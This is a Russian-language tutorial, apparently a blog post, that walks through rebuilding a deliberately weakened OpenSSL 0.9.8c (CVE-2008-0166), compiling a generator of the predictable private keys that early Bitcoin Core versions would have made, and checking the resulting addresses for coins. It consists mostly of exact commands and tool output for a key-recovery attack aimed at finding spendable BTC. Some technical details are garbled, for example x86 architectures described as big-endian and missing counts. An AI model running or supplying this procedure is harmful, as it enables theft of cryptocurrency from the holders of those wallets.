
Поиск монет BTC на ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
В этой статье мы создадим инструмент, который будет генерировать Bitcoin-адреса (P2PKH) с использованием уязвимости CVE-2008-0166. Это исследовательский проект по поиску BTC-монет на ранних версиях клиентского ПО Bitcoin Core.
Генератор случайных чисел, который генерирует предсказуемые числа CVE-2008-0166
VAIM-OpenSSL 0.9.8/1.0.0 Detected
Критическая уязвимая версия OpenSSL 0.9.8 CVE-2008-0166 заполнялась только идентификатором процесса. Из-за различий между порядком байт (endianness) и sizeof(long) вывод зависит от архитектуры: 32-битный big endian (например, i386), 64-битный big endian (например, amd64, ia64), 32-битный big endian (например, powerpc, sparc). PID 0 — это ядро, а PID_MAX () не достигается при переносе, поэтому для каждой архитектуры существовало возможных потоков случайных чисел.

Клиентское ПО Bitcoin Core использует OpenSSL. В частности, оно использует функцию «EC_KEY_generate_key()» для генерации Bitcoin-адресов (как ключей) для получения платежей. Старые версии Bitcoin Core генерируют и хранят 100 ключей в wallet.dat.
Новый ключ генерируется только при получении платежа в Bitcoin. Таким образом, клиентское ПО Bitcoin Core поддерживает пул из 100 неиспользуемых Bitcoin-ключей (адресов). Состояние внутреннего генератора случайных чисел зависит от того, какие другие вызовы были сделаны к библиотеке OpenSSL до вызова 'EC_KEY_generate_key()'. Задачи, влияющие на внутреннее состояние ГСЧ: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».
Таким образом, исследование заключалось в просмотре множества старых исходных кодов Bitcoin для выяснения того, какие вызовы, влияющие на внутреннее состояние ГСЧ, производились перед вызовом «EC_KEY_generate_key()». Цепочка вызовов меняется между версиями клиентского ПО Bitcoin Core.
Исследование было сосредоточено на следующих версиях:

Наша цель — сгенерировать приватные ключи для каждой версии клиентского ПО Bitcoin Core, для каждой архитектуры (le32/le64), для каждого идентификатора процесса и для Bitcoin-адресов (P2PKH), используя случайное число из критической уязвимости OpenSSL 0.9.8.
В конечном итоге мы создадим генератор Bitcoin-адресов (P2PKH), и всё будет сохранено в файл result.txt.

Для этого мы будем использовать дистрибутив «Ubuntu 18.04.5 LTS» из Google Colab

Ранее мы записали видеоинструкцию: «TERMINAL в Google Colab создаёт все удобства для работы в GITHUB»
Откройте Google Colab в Terminal [TerminalGoogleColab]
Выполним команду:
cat /etc/lsb-release
Перейдём в репозиторий «CryptoDeepTools» и посмотрим детали.
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

Обновим и установим g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

Чтобы снова сделать OpenSSL уязвимым, как в CVE-2008-0166
Скачаем openssl-0.9.8c.tar.gz и пропатчим системные файлы
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Всё будет сохранено в файловом хранилище Google Drive в виде текстового файла result.txt.


Далее остаётся проверить все сгенерированные Bitcoin-адреса на наличие BTC-монет; для этого мы можем использовать Python-скрипт: bitcoin-checker.py.
Видео: https://youtu.be/zHkXups2I8k
| Адрес для пожертвований | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |